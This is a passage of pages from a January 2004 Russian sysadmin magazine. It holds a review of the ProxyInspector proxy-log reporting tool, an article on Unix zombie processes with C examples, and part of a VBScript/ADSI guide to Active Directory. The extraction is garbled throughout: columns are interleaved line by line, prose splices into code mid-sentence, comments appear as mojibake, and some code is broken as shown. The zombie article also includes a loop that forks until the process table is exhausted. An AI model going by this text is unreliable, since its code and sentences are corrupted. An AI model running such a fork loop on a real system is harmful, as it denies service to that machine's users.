 юридические аспекты обеспечения информационной Не пропустите важнейший российский Форум 2004
безопасности, года по обеспечению информационной безопасности!
 основные компоненты обеспечения информационной
безопасности, Оргкомитет:
 обеспечение информационной безопасности как уп- http://www.rans.ru
равляемый процесс, тел.: (095) 273-34-28, 273-32-46, 273-48-83, 273-88-57,
 исследование рынка средств обеспечения информа- 956-26-12, 995-20-11
ционной безопасности, факс (095) 273-30-29
 уязвимости и угрозы, e-mail: info@mail.rans.ru

№1(14), январь 2004 79


администрирование

PROXYINSPECTOR – ИНСТРУМЕНТ КОНТРОЛЯ


ЗА РАСХОДОВАНИЕМ ИНТЕРНЕТ-ТРАФИКА

АНДРЕЙ БЕШКОВ

80
администрирование
В тот день, когда администратор настраивает шлюз для симости от операционной системы, используемой на шлю-
доступа работников предприятия в Интернет, он сталки- зовом компьютере, наличия прокси-сервера и типа пре-
вается с необходимостью найти решения для проблем, с доставляемых услуг можно выбрать несколько наиболее
которыми никогда ранее не встречался. Сначала нужно распространенных решений.
обучить всех пользоваться браузером и почтовым клиен- Например, для Unix-платформ характерны решения
том. Потом приходит время бороться с вирусами, троянс- на основе межсетевого экрана и прокси-сервера, кото-
кими программами и прочим мусором, которые между рый может работать как на шлюзе, так и на отдельной
прочими важными делами любопытные пользователи, машине. Самыми часто используемыми прокси-серве-
словно малые дети, тянут из сети. Кажется, что счастли- рами являются Squid, Delegate, Socks. Для каждого из
вая и безмятежная жизнь для администратора наступит них написана большое количество разнообразных скрип-
сразу же, как только с этими проблемами будет поконче- тов, которые анализируют протоколы запросов, посту-
но. К сожалению, в реальном мире все обстоит иначе. павших к прокси-серверу от пользователей, и на их ос-
Очнувшись после первого периода интернет-эйфории и нове строят отчеты. К сожалению, такие подсчеты явля-
разглядывая счета на оплату услуг провайдера, начальство ются весьма приблизительными, так как в них не учиты-
все чаще начинает задавать сакраментальные вопросы ваются сетевые протоколы нижнего уровня. Возьмем, к
«Кто столько скачал и почему мы должны за это платить?». примеру, ситуацию, когда пользователь скачивает из Ин-
В этот момент на сцену выходят программы для учета тернета файл по протоколу HTTP. Предположим, что в
трафика. С их помощью руководство организации, началь- качестве транспорта используется протокол TCP/IP, ко-
ники отдела ИТ или сотрудники службы безопасности мо- торый отвечает за гарантированную доставку пакетов.
гут увидеть достаточно подробную картину того, как со- Если какой-то из пакетов будет испорчен во время путе-
трудники используют Интернет. Административные ме-ры, шествия через сеть, то отправитель по запросу получа-
принятые на основе увиденного, безусловно, повысят про- теля пошлет его заново. И такая ситуация может повто-
изводительность труда и обязательно сэкономят деньги ряться много раз. Испорченные пакеты отбраковывают-
компании. Системному администратору подобный инст- ся раньше, чем попадут к приложению прокси-сервера.
румент тоже пригодится, так как позволит легко обнару- Таким образом, получается, что статистика использова-
жить аномальную активность в повседневных потоках ния канала, выдаваемая прокси-сервером, будет весь-
данных между внутренней сетью и Интернетом. В зави- ма отличаться от количества данных, реально передан-

№1(14), январь 2004 81


администрирование
ных по каналу связи. Этот недостаток можно исправить, то применяемые в Unix-системах, давайте сделаем то же
если кардинально изменить систему учета трафика. Те- самое и для комплексов, работающих на основе Windows.
перь мы будем считать количество пакетов, прошедших Самыми популярными прокси-серверами для данной
через межсетевой экран. К сожалению, в этом случае платформы являются Ositis WinProxy, Qbik WinGate, Kerio
нам скорее всего придется отказаться от услуг прокси- WinRoute, Microsoft ISA Server. Все вышеперечисленные
сервера, потому что все запросы пользователей будут продукты являются одновременно и прокси-сервером, и
направлены ему. А с точки зрения межсетевого экрана межсетевым экраном. Такое положение дел очень упро-
во внутренней сети будет находиться единственная ма- щает процедуру сбора наиболее правдивых данных о под-
шина, потребляющая львиную долю трафика. Думаю, вигах пользователей на ниве Интернета. Каждый из них
всем понятно, что именно прокcи-сервер будет этой ма- предназначен для своей целевой аудитории и соответ-
шиной, так как межсетевой экран не имеет никакого по- ственно обладает теми или иными преимуществами и
нятия об остальных компьютерах, потому что они не об- недостатками. Ну а лично мне наиболее симпатичен ISA
ращаются к нему напрямую. В ситуации, когда от воз- Server как продукт, наиболее полно соответствующий
можностей, предоставляемых прокси-сервером, отказы- моим административным потребностям. К сожалению,
ваться не хочется, наиболее простым выходом будет ве- штатные средства для создания отчетов о трафике и
дение двойной статистики. Одна по количеству и разме- пользовательской активности, поставляемые вместе со
ру пакетов, обработанных межсетевым экраном, а вто- всеми этими серверами, по моему мнению, выглядят до-
рая по количеству запросов от пользователей и разме- вольно неказисто. В каждом из них чего-нибудь да не хва-
рам файлов, кочевавших между пользовательскими ра- тает. Пришлось искать продукт сторонней фирмы, позво-
бочими станциями и прокси-сервером. На самом деле ляющий наиболее гибко работать со статистикой, кото-
это не такая уж и сложная проблема. За многие годы рая стала предметом нашего разговора. Сегодня мы по-
эксплуатации администраторами этих систем придума- говорим о программе ProxyInspector, созданной компани-
но достаточно много уловок, позволяющих избавиться ей ADVSoft, которая с моей точки зрения является лучшим
от большинства неудобств вышеописанных методов. кандидатом на это вакантное место. Первым делом стоит
Впрочем, обсуждение столь сложных вопросов выходит отметить, что эта программа может работать со всеми вы-
далеко за рамки данной статьи. Рассмотрев методики кон- шеперечисленными прокси-серверами. На данный момент
троля за потреблением интернет-трафика, наиболее час- существуют три основные версии данной утилиты:

82
администрирование
 ProxyInspector Light является самой простой версией и и образцы отчетов можно посмотреть на сайте: http://
предназначена для небольших компаний. Поставляет- www.advsoft.ru.
ся с лицензией на 12 пользователей и позволяет ана- Ну а я тем временем расскажу о собственном опыте
лизировать протоколы серверов Ositis WinProxy, Kerio работы с ProxyInspector для Microsoft ISA Server. Инстал-
WinRoute и Qbik WinGate. На данный момент разра- ляция пробной версии, взятой с сайта компании ADVSoft,
ботка этой версии пока не закончена. Скорее всего прошла на удивление быстро и гладко. Требования к ма-
рядовым пользователям она станет доступна в нача- шине, заявленные разработчиками, выглядят весьма ас-
ле следующего года. кетично. Ну а для тех, кто не хочет участвовать в безум-
 ProxyInspector – выбор средних компаний. Для хране- ной гонке производителей оборудования, они покажутся
ния данных может использоваться как локальная база, очень даже приемлемыми:
так и Interbase 6.x/Firebird. Позволяет обрабатывать  Процессор Pentium II с частотой 300 мегагерц.
данные, полученные из Ositis WinProxy, Qbik WinGate,  Оперативная память 64 мегабайта, если используется
Kerio WinRoute, Microsoft ISA Server. В связи с тем, что Windows 2000 или XP, то лучше иметь 128 мегабайт.
у данной версии программы есть интерфейс комман-  10 мегабайт свободного места на жестком диске .
дной строки, появляется возможность создавать от-  Операционная система Windows 98/ME/NT 4.0/2000/XP.
четы автоматически с помощью планировщика. Коли-
чество пользователей на одном сервере может варьи- Конечно, стоит понимать, что это минимальные требо-
роваться от 25 до 250. вания, и они будут расти в зависимости от объема обраба-
 ProxyInspector Enterprise, созданная для работы на тываемой информации. Но все же, мне кажется, что даже
больших предприятиях, содержит в себе все возмож- при очень больших файлах протоколов не стоит ожидать,
ности, перечисленные выше. И вдобавок обладает что требования к аппаратному обеспечению будут очень
функциями работы с Active Directory. Для хранения уж высоки. Устанавливать ProxyInspector можно на любую
базы данных может использовать Microsoft SQL Server машину, имеющую доступ к файлам протоколов ISA Server.
и Interbase 6.x/Firebird. Такая возможность позволяет выполнять приложение по
анализу протоколов с рабочей станции сотрудника служ-
Подробную информацию о стоимости разных версий бы безопасности. Ну а если установка выполнена на ту же
этой утилиты, условия лицензирования, снимки экранов машину, на которой работает ISA Server, то сразу же после

№1(14), январь 2004 83


администрирование
инсталляции ProxyInspector самостоятельно находит мес-  прокси-сервер
тоположение протоколов прокси-сервера. Это, безуслов-  пользователи
но, приятно, хотя в то же время стоит помнить, что этот  группы пользователей
механизм встроен не во все версии программы. Остается  время
только убедиться, что нужные файлы записываются про-  дни недели
кси-сервером в формате W3C и можно приступать к им-  IP-адреса
портированию данных в свою внутреннюю базу. Синтакси-  сайты
ческий анализ и импортирование данных выполняется с  протоколы
достаточно высокой скоростью. Чтобы процесс импорти-  приложения
рования не потреблял слишком много ресурсов и не ме-
шал остальным приложениям, в программу встроена воз- Группы пользователей можно создавать и редактиро-
можность гибко регулировать его системный приоритет. С вать самостоятельно, ну а в версии Enterprise их можно
помощью глобальных настроек программы можно управ- импортировать из Active Directory. Это в свою очередь
лять модулем преобразования IP-адресов в имена хостов. позволяет наиболее гибко реализовывать специфику
Для ускорения его работы служит встроенная система кэ- организационных единиц предприятия. После указания
ширования dns-запросов. Кстати, кроме всего прочего, административной единицы настраиваем сортировку
ProxyInspector умеет самостоятельно управлять файлами строк отчета. Доступные следующие варианты:
протоколов ISA Server. Например, мне было удобно пору-  имени пользователя/IP-адресу
чить ему автоматическое удаление старых протоколов,  количеству запросов
возраст которых превысил восемь недель. Рассматривая  входящему трафику
интерфейс программы, нужно отметить его удобство и ин-  исходящему трафику
туитивную понятность. Все элементы визуальной среды, с  суммарному трафику
которыми сталкивается пользователь, могут отображать-
ся на английском, русском и немецком языках. То же са- При желании можно указать, нужны ли нам диаграммы
мое относится и к генерируемым отчетам, к созданию ко- и какого вида. А если все же нужны, то какие шрифты и
торых можно приступить после завершения импортирова- цвета использовать для их оформления. После этого опре-
ния данных. Отдельной похвалы заслуживает электронная деляем данные, за какой период нас интересуют. И нако-
документация, поставляемая вместе с программой. Струк- нец даем отчету имя. Это нужно не только для того, чтобы
тура расположения материалов и подробность их изложе- мы смогли впоследствии различать разные отчеты. Пользу-
ния позволяют разобраться в любом вопросе за считан- ясь менеджером отчетов, мы сможем создавать на его ос-
ные минуты. К сожалению, тут не обошлось без досадных нове шаблоны для других отчетов. Ну а с помощью меню
ляпсусов. Несмотря на многоязычность программы, доку- «Отчеты» доступны настройки формата сохранения созда-
ментация почему-то только на английском. Впрочем, по мо- ваемого отчета. ProxyInspector для ISA Server может созда-
ему мнению, для большинства администраторов это не кри- вать отчеты в виде html-документа с CSS или без него, или
тично. Ну а если душа просит документацию на родном же в виде электронных таблиц Excel. Вдобавок к сохране-
языке, то вам нужно зайти на http://www.advsoft.ru/ru/ нию на жестком диске полученный отчет можно автомати-
download/download_addon.php и скачать дополнительный чески отправлять по почте. К сожалению, на форме с на-
пакет русскоязычной справки для вашей версии програм- стройками поле для ввода почтового адреса только одно.
мы. Закончив с обзором внешнего вида, вернемся к со- Это, конечно, не значит, что отчет можно отправить только
зданию отчетов. Как и во всех нормальных программах, одному человеку. Ситуацию можно упростить, если вос-
делается это с помощью мастера отчетов. Из следующего пользоваться ухищрениями с почтовыми псевдонимами или
списка нужно выбрать административную единицу, о кото- перечислить всех получателей в адресной строке через
рой мы хотим что-либо знать: запятую. Надеюсь, в следующей версии разработчики ис-
правят это досадное неудобство. Там же можно указать
тему, обратный адрес, формат создаваемого письма и спо-
соб прикрепления файла с отчетом.
Также очень полезным добавлением в программу пока-
зался редактор протоколов, распознаваемых ProxyInspector.
Пользуясь им, можно описывать свои собственные про-
токолы и строить отчеты по только что описанному типу
трафика. Ну а тех, кому создавать собственные отчеты
лень, несомненно, порадует набор готовых отчетов, по-
ставляемых вместе с ProxyInspector.
Заканчивая обзор семейства программ ProxyInspector,
хотелось бы отметить, что, за исключением мелких недо-
четов, работа с этими программами вызвала у меня толь-
ко положительные эмоции. Надеюсь, что столь полезный
инструмент будет востребован многими системными ад-
министраторами.

84
программирование

«УБИВАЕМ» ЗОМБИ

Практически в любой *nix-подобной операционной системе существует такое понятие, как «зомби».
В качестве примера возмём Linux (2.4.20). Зомби – это процесс, завершивший своё выполнение,
но не удалённый. Зомби практически не занимают никаких ресурсов, но поскольку они являются
процессами, то занимают место в proc. Как известно, количество процессов в системе ограничено,
и если текущее количество процессов максимально, то операционная система отказывает нам
в создании новых процессов, мотивируя это временным отсутствием ресурсов. Таким образом
и рождается проблема с зомби: их возникает так много, что в системе больше не могут создаваться
новые процессы. Но чаще зомби встречаются поодиночке. С зомби сталкивался практически
каждый программист, а число программ, в которых были или есть проблемы с зомби, настолько
велико, что перечислить их все не представляется возможным. Вот только некоторые из них: lynx,
xchat, links, stunnel, galeon, xinetd.

АНДРЕЙ УВАРОВ

86
программирование
Процесс становится зомби тогда, когда он уже завершил- Значение поля STAT, равное Z, означает, что данный
ся, а в его родительском процессе не была вызвана фун- процесс и есть наш зомби. Но поодиночке зомби не страш-
кция wait. Функции wait, wait3, wait4 и waitpid предназна- ны, поэтому модифицируем предыдущий пример:
чены для получения родительским процессом кода завер-
шения его потомка. В случае если потомок уже завер- #include <sys/types.h>
#include <unistd.h>
шился, все системные ресурсы, занимаемые процессом, #include <stdio.h>
будут освобождены, а функция немедленно возвратит зна-
int main(){
чение pid потомка. pid_t our_child;
Для начала попробуем просто создать процесс-по- while(our_child != -1){
our_child= fork();
томок: if(our_child == 0){
return 0;
}
#include <unistd.h> }
#include <stdio.h> getchar();
#include <sys/types.h> return 0;
}
int main(){
// ñ ýòîãî ìåñòà íà÷èíàåò ñâî¸ âûïîëíåíèå ïîòîìîê
pid_t chld_PID= fork(); Итак, откомпилировав и выполнив текущий пример,
//åñëè chld_PID == 0, òî òåêóùèé ïðîöåññ – ïîòîìîê
if(chld_PID!= 0){ мы получим максимальное количество процессов в сис-
printf("I'm a parent\n"); теме. Если попробуем выполнить команду ps, то получим
}else{
printf("I'm a child\n"); сообщение о невозможности выполнения нашей коман-
ды по известной нам причине (команда ps взята для при-
return 0;
} мера, вызов практически любой команды будет завершён
подобным образом).
Вызовом fork создаётся копия текущего процесса. Вы-
полнение нового процесса начинается с того места, где [dashin@dashin zombies]$ ps ax
bash: fork: Resource temporarily unavailable
был произведён вызов fork. В случае благополучного со- [dashin@dashin zombies]$
здания нового процесса родителю fork возвращает pid
потомка, а потомку возвращается ноль (значение 0 не Разобравшись с тем, что представляют собой зомби,
является pid самого потомка, в Linux не существует про- стоит ознакомиться с некоторыми способами устранения
цессов с pid, равным 0, для получения идентификатора создаваемой зомби проблемы.
текущего процесса необходимо использовать getpid). Это Один из самых простых способов «убить» зомби –
необходимо для того, чтобы процесс мог определить, яв- это «убить» их родителя. Если в системе «умирает» ка-
ляется ли он родителем или потомком. В случае ошибки кой-либо процесс, то специальный демон init наследу-
новый процесс не создаётся и возвращается -1. ет всех потомков умершего процесса и удаляет их, если
Разобравшись с вызовом fork, попробуем создать од- они уже завершили своё выполнение. Но у нас может
ного зомби: не хватать прав на удаление родителя. Возможна ситу-
ация, когда родитель выполняет какие-то необходимые
#include <unistd.h> нам действия, и, удалив его, можно потерять данные.
#include <stdio.h>
#include <sys/types.h> Может быть множество причин, препятствующих этому
способу. И нам останется только по очереди убивать
int main(){
pid_t chld_PID= fork(); всех зомби.
if(chld_PID!= 0){ Очевидно, что лучше предотвратить зомби, нежели с
printf("I'm a parent\n");
//îñòàíîâèì âûïîëíåíèå ðîäèòåëÿ äî ââîäà ñèìâîëà ними бороться. Одним из решений является использова-
getchar(); ние вышеупомянутой функции wait.
}else{
printf("I'm a child\n");
} #include <sys/types.h>
return 0; #include <unistd.h>
} #include <stdio.h>
int main(){
Откомпилируем и выполним текущий пример. Для того
чтобы «увидеть в глаза» нашего зомби, получим список pid_t our_child;
our_child= fork();
процессов: if(our_child == 0){
return 0;
}
ps ax sleep(10);
wait();
[dashin@dashin zombies]$ ps ax getchar();
PID TTY STAT TIME COMMAND return 0;
1 ? S 0:05 init }
..............................................
18730 pts/4 S 0:00 bash -rcfile .bashrc
18767 pts/4 S 0:00 ./one_zomb Для наглядности этого примера выполним команду:
18768 pts/4 Z 0:00 [one_zomb <defunct>]
18864 pts/5 R 0:00 ps ax
[dashin@dashin zombies]$ top -d 1

№1(14), январь 2004 87


программирование
и параллельно выполним предварительно откомпилиро- метра signal имеет сигнал (точнее сказать – номер сигна-
ванный пример (см. рис.1). ла), который мы собираемся обрабатывать, а второй пара-
Как и ожидалось, наш зомби, просуществовав около метр – имя нашей функции-обработчика. Но здесь есть
10 секунд, будет удалён. одна небольшая тонкость – если в качестве второго пара-
Учитывая то, что если дочерний процесс прерван или метра установим SIG_IGN, то наши зомби будут умирать,
остановлен, он шлёт своему родителю сигнал SIGCHLD, но как сказано в man: «POSIX (3.3.1.3) не определяет, что
тогда можно сделать у родителя обработчик этого сигна- случается при SIGCHLD, который установлен в SIG_IGN».
ла и в нём вызывать wait. То есть если у нас следующий пример будет работать в
Linux – не значит, что он будет работать в BSD. Следова-
#include <sys/types.h> тельно, таким способом пользоваться не рекомендуется.
#include <unistd.h>
#include <stdio.h>
#include <signal.h> #include <sys/types.h>
#include <unistd.h>
void killchld(){ #include <stdio.h>
wait(); #include <signal.h>
}
int main(){
int main(){ pid_t our_child;
pid_t our_child; signal(SIGCHLD, SIG_IGN); //òàê äåëàòü íå ñòîèò
int i; int i;
signal(SIGCHLD, killchld); for(i=1;i< 0xFF;i++){
for(i=1;i< 0xFF;i++){ our_child= fork();
our_child= fork(); if(our_child == 0){
if(our_child == 0){ return 0;
return 0; }
} }
} getchar();
getchar(); return 0;
return 0; }
}
Способ избежать зомби в большинстве случаев зави-
В данном примере мы устанавливаем обработчик сиг- сит от ситуации. Важно помнить, что зомби нужны забота
нала SIGCHLD вызовом signal. В качестве первого пара- и внимание. И только тогда они не будут вас беспокоить.

Ðèñóíîê 1. Âèäèìî, íå òîëüêî ìû óìååì ïîðîæäàòü çîìáè

88
образование

90
образование
В своей работе системному администратору часто прихо- прописаны в конфигурационном файле. Таким образом, в
дится выполнять рутинные действия, которые отнимают тексте скрипта явным образом будет прописан только один
много времени и требуют повышенного внимания. Управ- параметр – путь к конфигурационному файлу.
ление Active Directory является одной из приоритетных за- Используя в скриптах массивы для передачи данных, при
дач системного администратора. Программное админист- определении массива задавайте заведомо большее коли-
рирование Active Directory позволит сэкономить время и чество элементов в массиве, чем это необходимо, напри-
свести к минимуму влияние человеческого фактора. Ис- мер Array(1000). После занесения данных в массив переоп-
пользуя провайдеры LDAP и WinNT, системный админист- ределите размер массива с помощью функции ReDim
ратор сможет с помощью сценария загрузки управлять под- Preserve Array(i), где i – новый размер массива. При исполь-
ключением сетевых ресурсов; создавать скрипты, которые зовании цикла For определяйте границы массивов с помо-
позволят автоматизировать рутинные операции. Умелое щью функций Lbound(Array) – нижняя граница массива,
сочетание возможностей провайдеров WinNT и LDAP дает Ubound(Array) – верхняя граница (см. Пример 1а). Существу-
превосходный результат. Как показывает опыт, без теоре- ет второй способ работы с массивами, который в основном
тических знаний о механизме работы Active Directory и ADSI, используется в программировании ADSI – использование
базируясь на приведенных в Интернете примерах, очень конструкции FOR EACH element IN array (см. Пример 1б).
трудно понять что к чему. В данной статье предпринята по-
пытка поставить все точки над «и», не оторвав при этом Ïðèìåð 1à Ïðèìåð 1á
теорию от практики (программирования Active Directory). i= Lbound(Array) For Each i in Array
For i To Ubound(Array) element=Array(i)
element=Array(i) next
Программное управление ………………………
с помощью VBScript Next
Как отмечалось ранее, для управления ADSI могут быть
использованы VB/VBScript, JScript, C/C++. Для программ- Продолжая развивать тему операций с массивами, не-
ного управления – компьютером, выполняющим роль кон- обходимо уделить внимание механизму упорядочивания
троллера домена, на котором установлена Active Directory, массивов и поиску среди элементов массива заданного
следует использовать стандартные средства, предлагае- выражения.
мые компанией Microsoft. Одним из таких стандартных Наиболее простым методом упорядочивания массивов
средств является VBScript. Использование этого языка про- является пузырьковый метод. Суть метода заключается
граммирования дает огромные преимущества. Скрипты, на- в том, что при несоблюдении условия упорядочивания
писанные на VBScript помогут системному администрато- массива смежные элементы меняются местами. Тем са-
ру не только управлять Active Directory, но и создавать сце- мым элементы массива становятся друг за другом в за-
нарии загрузки для входа в сеть. По сравнению с С/С++, данном порядке – происходит упорядочивание.
программный код на VBScript в несколько раз меньше, а
по функциям равнозначен. Использование WHS (Windows Ïðèìåð 2
Hosting Script) и WMI (Windows Management Instrument) со- Dim Array(100)
вместно с программированием Active Directory позволит ……………………
For j=0 to Ubound(Array)
решать сложные задачи администрирования. И WSH, и WMI For i=0 to Ubound(Array)
также являются стандартными средствами и поддержива- If StrComp(Array_sort(i),Array_sort(i+1),0)=1 Then
temp=Array(i)
ют VBScript. Программирование WMI рассмотрено в ста- Array (i)=Array(i+1)
тье «Решение задач инвентаризации в сети» в журнале Array(i+1)=temp
End if
«Системный администратор» №12(13) за 2003 год. Next
Использование VBScript позволяет создавать скрип- Next
ты – текстовые файлы с расширением VBS, которые ис-
пользуются как сценарии загрузки при регистрации Осуществление процедуры поиска в независимости от
пользователей в сети, в виде сайтов на основе ASP. ASP- регистра символов является задачей, решать которую при-
страница является синтезом HTML и VBScript. В отличие ходится очень часто. Для обеспечения процедуры поиска
от HTML-страниц, ASP-страницы поддерживают OLE- формируется массив, среди элементов которого проис-
объекты. Это позволяет использовать в ASP-страницах ходит поиск. Для того чтобы сделать функцию поиска не-
программирование WMI, WSH, ADSI. чувствительной к регистру символов, необходимо исполь-
Создавая сценарии на любом языке программирования, зовать функцию, преобразующую все символы строки в
необходимо пристально следить за тем, чтобы конечный большие или в маленькие. Это касается как элементов
продукт было легко внедрять и эксплуатировать. Сцена- массива, так и искомой строки. Для преобразования стро-
рий загрузки не должен содержать явных записей в про- ки в маленькие буквы используют функцию Lcase(string),
граммном коде. Например, название текущего домена, для преобразования в большие – Ucase(string).
если речь идет о программировании ADSI, необходимо оп-
ределять программно, а не прописывать явным образом. Ïðèìåð 3
Те параметры, которые невозможно определить с помо- Dim Array(100)
щью сценария, например месторасположение папки, в ко- ………………..
Dim SearchString="string"
торой должны размещаться файлы отчетов, должны быть For i=0 to Ubound(Array)

№1(14), январь 2004 91


образование
if Instr(Lcase(Array(i)),LCase(SearchString)) then DNS и Active Directory
MsgBox "Ñòðîêà íàéäåíà" Для иерархического именования доменов и компьютеров
else
MsgBox "Ñòðîêà íå íàéäåíà" в Active Directory используется система DNS, поэтому
End if объекты доменов и компьютеров являются как частью
Next
иерархии доменов DNS, так и иерархией доменов Active
Directory. Несмотря на то, что имена в обеих системах
Active Directory идентичны, они относятся к различным пространствам
Active Directory (AD) – это служба каталогов, которая яв- имен. Взаимодействие DNS-имен доменов и их IP-адре-
ляется иерархической базой данных, обеспечивающей сов в Active Directory реализовано в согласии с общепри-
централизованное управление сетью. Active Directory хра- нятыми соглашениями об именовании в DNS.
нит в себе информацию об объектах сети и обеспечивает Доменная система именования (Domain Name System,
доступ к этой информации пользователям, компьютерам DNS) представляет собой базу данных, реализующую
и приложениям. иерархическую систему именования для идентификации
Active Directory обладает следующими особенностями: хостов. Основная функция DNS (см. RFC 1034 и RFC 1035)
 Масштабируемость. В отличие от большинства других заключается в прямом и обратном разрешении имен ком-
баз данных, которые являются реляционными, база пьютеров в IP-адреса.
данных Active Directory является иерархической. В ба- База данных DNS – это древовидная структура, назы-
зах данных взаимосвязи между записями определя- ваемая пространством имен доменов (domain space name).
ются при помощи ключей, которые хранятся совмест- В Windows 2000 полное доменное имя (Fully Qualified
но с данными. В иерархической базе данных взаимо- Domain Name, FQDN) компьютера состоит из 2 частей:
связи между записями имеют характер «родитель-по-  Имя DNS-узла. Крайняя левая метка – это полноцен-
томок»: каждая запись, за исключением корневой, ное имя DNS-узла, идентифицирующее учетную запись
обладает родительской записью. У каждой родитель- компьютера, хранящуюся в Active Directory. Кроме того,
ской записи может быть один или несколько потом- это имя локальной учетной записи компьютера в дис-
ков. Иерархическая база данных позволяет хранить петчере безопасности учетных записей (Security
большое количество объектов, при этом быстро полу- Account Manager, SAM) на рабочей станции или рядо-
чать доступ к необходимым объектам. вом сервере (не контроллер домена). По умолчанию
 Поддержка открытых стандартов. Active Directory имя DNS-узла также используется в качестве NetBIOS-
объединяет в себе концепцию пространства имен ин- имени. Это делается для совместимости с доменами
тернета со службой каталогов Windows NT, что по- на основе Windows NT 3.51 и Windows NT 4, а также
зволяет объединить и управлять различными про- для совместимости с рабочими станциями под управ-
странствами имен в разноразрядных аппаратных и лением 9х.
программных средах. Для управления пространством  Основное имя DNS-имени домена. По умолчанию – это
имен Active Directory используется библиотека интер- домен Windows, к которому относится данный компь-
фейса службы активного каталога (Active Directory ютер (см. рис. 1).
Service Interface – ADSI).
 Поддержка стандартных форматов имен. Active Directory
поддерживает несколько общих форматов имен. Этот
факт позволяет приложениям и пользователям полу-
чать доступ к каталогу, применяя наиболее удобный
для них формат: Ðèñóíîê 1. Ïîðÿäîê ïîñòðîåíèÿ èìåí FQDN
Òàáëèöà 1 Кроме DNS-имен компьютеров, контроллеры домена
Active Directory идентифицируются по видам предостав-
ляемых ими служб: серверы протокола LDAP (Lightweight
Directory Access Protocol); контроллеры доменов; сервер
глобального каталога GC (Global Catalog). Получив ука-
зание на имя домена и службу, сервер DNS способен
найти контроллер со службой искомого типа в данном
домене.
Глобальный каталог (Global Catalog, GC) – это контрол-
лер домена, в котором существуют три доступных для
записи каталога: домена, схемы и конфигурации. Ката-
лог автоматически создается при репликации Active
Directory. Все разделы каталогов на сервере глобального
каталога хранятся в одной базе данных каталога (Ntds.dit).
Глобальный каталог хранит сведения обо всех лесах,
поэтому его можно использовать для поиска любых
объектов в лесу без переадресации на другие серве-
ры. Если запрос на поиск послан по порту 389 (стан-

92
образование
дартный порт протокола LDAP), то в случае неудачного  ядро базы данных (Extensible Storage Engine, ESE),
поиска запрос будет последовательно передаваться работающее непосредственно с записями хранилища
другим контроллерам домена. В том случае, если об- каталогов, различает объекты по атрибуту относитель-
ращение идет по стандартному порту глобального ка- но составного каталога.
талога (GC) 3268, поиск ведется по всем разделам леса.  хранилище данных (файл базы данных Ntds.dit). С этим
Для безопасного доступа к службам следует использо- файлом может работать только ядро базы данных. Об-
вать порты, использующие SSL: ращаться напрямую к этому файлу можно только с
Òàáëèöà 2 помощью программы Ntdsutil, которая находится в пап-
ке Support/Tools на диске с операционной системой
Windows 2000 Server.

Клиенты получают доступ к Active Directory по одному


из перечисленных механизмов:
Пример чтения: чтение глобального каталога на VBScript. 1) LDAP/ADSI. Клиенты, поддерживающие протокол LDAP,
В результате скрипт выдает имя домена: используют его для доступа к агенту системы катало-
гов. Интерфейсы службы каталогов Active Directory
Ïðèìåð 4 (Active Directory Service Interface – ADSI) служат для абст-
temp=""
Set gc = GetObject("GC:") рагирования от LDAP интерфейса прикладного програм-
For each child in gc мирования (API), представляя COM-интерфейсы для вза-
temp=temp+child.name
Next имодействия с Active Directory. Однако нужно помнить,
что в Active Directory используется только LDAP;
msgbox temp
2) MAPI. При обмене сообщениями и коллективной работе
клиенты MS Outlook подключаются к агенту системы ка-
Архитектура службы каталогов талогов по механизму вызова удаленных процедур MAPI
Active Directory через интерфейс средства доступа к адресной книге.
Чтобы понять, как хранятся и обрабатываются данные в 3) SAM. Клиенты MS Windows NT 4.0 и ранее Windows 9x
Active Directory, необходимо представлять себе, как взаи- подключаются к агенту системы каталогов (DSA) че-
модействуют отдельные компоненты этой службы ката- рез SAM;
логов. Службу каталогов можно представить в виде мно- 4) REPL. В процессе репликации каталогов агент систе-
гоуровневой структуры. Существует три уровня служб и мы каталогов (DSA) Active Directory взаимодействует
несколько интерфейсов и протоколов, которые образуют через RPC-интерфейс.
полный спектр служб каталогов (см. рис. 2). Три уровня
служб содержат все данные для нахождения записей в Как показано на схеме, существует четыре способа
базе данных каталога. Выше уровня служб находятся про- доступа к Active Directory. С точки зрения программного
токолы и API-интерфейсы, которые обеспечивают взаи- управления Active Directory системного администратора
модействие между клиентами и службами каталогов или интересует только ADSI. ADSI поддерживает такие языки
при репликации – между службами каталогами. программирования, как C/C++, VB/VBScript, Jscript, WSH,
и представляет объекты Active Directory в виде COM-
объектов, а управление осуществляется с помощью СОМ-
интерфейсов. Провайдеры ADSI (ADSI providers) представ-
ляют объекты ADSI в соответствующие пространства
имен, т.е. они преобразуют вызовы СОМ-интерфейсов к
запросам API конкретной службы каталогов.

Объектная модель ADSI


Наглядная схема объектной модели ADSI приведена на
рисунке.

Ðèñóíîê 2. Àðõèòåêòóðà ñëóæá Active Directory


Далее перечислены основные службы-компоненты
Active Directory:
 агент системы каталогов (directory system agent, DSA)
формирует иерархию каталога на основе отношений
родитель-потомок и обеспечивает интерфейс приклад-
ного программирования (application programming
interfece, API) для запросов на доступ к каталогу;
 уровень базы данных является промежуточным уров-
нем – уровнем абстракций между базой данных и при-
ложениями; Ðèñóíîê 4. Îáúåêòíàÿ ìîäåëü ADSI

№1(14), январь 2004 93


образование
Схема условно поделена на три части. Используя кли- Программное управление Active Directory часто исполь-
ента – язык программирования, скрипт получает доступ зуется именно этим провайдером. Запрос провайдеру LDAP
к COM-объектам. Объекты могут быть двух видов – клас- составляется в формате LDAP URL (см. RFC 1779, RFC 2247):
сы и подклассы. Обращение к подклассам осуществ-
ляется через классы, однако на схеме это не показано, LDAP://HostName[:PortNumber][/DistinguishedName]
чтобы не загромождать рисунок. С помощью COM-
объекта через протокол LDAP или WinNT сценарий заг- Провайдер WinNT ADSI поддерживает доступ к катало-
рузки получает доступ к выбранному элементу объект- гам Microsoft Window 4.0/3.x, обеспечивает связь с PDC и
ной модели. Пространство имен условно обозначено BDC. Провайдер WinNT в основном используется для ра-
треугольником; квадратами обозначены классы, а круж- боты с принтерами. Причина проста: в отличие от провай-
ками – подклассы. Методы доступа к каждому из пере- дера LDAP провайдер WinNT рассматривает принтер не как
численных протоколов отличаются, однако можно при- сетевое, а как локальное устройство. Только с помощью
вести пример, который наглядно демонстрирует приве- провайдера WinNT можно управлять состоянием и очере-
денную схему: дями принтеров. Совместное использование обоих провай-
деров позволит осуществлять мониторинг и управление
Ïðèìåð 5: сетевыми принтерами домена (см. статью «Управление
Set obj=GetObject("Protocol://ClassName") сетевыми принтерами» в журнале «Системный админист-
For each SubClass in ClassName ратор» №10(11) за 2003 г.). Порядок построения запроса
temp=SubClass.Property
Next для провайдера WinNT в формате UNC следующий:

WinNT:[//DomainName[/ComputerName[/ObjectName[,className]]]]
Провайдеры ADSI
